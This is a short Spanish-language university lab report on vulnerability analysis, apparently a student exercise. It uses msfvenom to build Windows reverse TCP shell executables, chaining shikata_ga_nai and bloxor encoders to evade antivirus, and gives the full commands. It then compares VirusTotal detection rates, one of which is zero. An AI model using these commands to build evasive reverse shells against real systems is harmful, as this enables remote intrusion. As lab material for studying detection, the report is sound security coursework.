

Windows Reverse TCP Shell

Análisis de Vulnerabilidades



Pacheco Franco Jesús Enrique

jesus.pacheco@bec.seguridad.unam.mx

14/Abril/2019

Objetivo

Generar 2 archivos .exe que generen una reverse TCP Shell en un equipo Windows XP y probar dichos archivos en la pagina web <https://www.virustotal.com/gui/home/upload> para probar por cuantos antivirus detectan nuestros códigos maliciosos.

Generación de Archivos Ejecutables (.exe)

Para generar los archivos se hizo uso de la herramienta msfvenom de la siguiente manera.

reverse_tcp.exe

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 -b '\x00\x0a\x0d' -f exe -o reverse_tcp.exe
```

reverse_tcp_s.exe

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d' -f raw -o test
```

```
msfvenom -p - -f exe -a x86 --platform windows -b '\x00\x0a\x0d' -e x86/bloxor -i 3 -o reverse_tcp_s.exe < test
```


variante con -f python reverse_tcp_p.exe

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d' -f raw -o test
```


```
msfvenom -p - -f python -a x86 --platform windows -b '\x00\x0a\x0d' -e x86/bloxor -i 3 -o reverse_tcp_p.exe < test
```


A continuación, se muestran los resultados obtenidos al examinar los ejecutables en la página Virus Total.


reverse_tcp.exe






b31b727680a6968a5482be0b0d880a54695d4d19116acfb31fc7f5cb457eabe6









51 / 71

 Community Score 


 **51 engines detected this file**


b31b727680a6968a5482be0b0d880a54695d4d19116acfb31fc7f5cb457eabe6	72.07 KB	2019-04-14 22:38:11 UTC
reverse_tcp.exe	Size	a moment ago


 






7bc391569853e18d263afd9c1b8990b6c4e6f1f815a71af682b7ffb222a28fda








49 / 70

 Community Score 

 **49 engines detected this file**


7bc391569853e18d263afd9c1b8990b6c4e6f1f815a71af682b7ffb222a28fda	72.07 KB	2019-04-14 22:53:26 UTC
reverse_tcp_s.exe	Size	a moment ago


reverse_tcp_s.exe


Como podemos observar encadenando dos codificaciones logramos reducir el numero de antivirus que nos detecten, sin embargo, no fue muy significativo el cambio.


reverse_tcp_p.exe






d6c7fa23ef6df275fb8741f4ef257773d1ee9fd1bae211060db98d807a061596







0 / 58

 Community Score 

 **No engines detected this file**

d6c7fa23ef6df275fb8741f4ef257773d1ee9fd1bae211060db98d807a061596	8.88 KB	2019-04-14 23:08:46 UTC
reverse_tcp_p.exe	Size	a moment ago



Como podemos observar si hacemos uso de un archivo que use Python es muy difícil que algún antivirus llegue a detectar como malicioso el código, sin embargo, es muy difícil que un Windows tenga instalado Python ya que por defecto viene sin el mismo.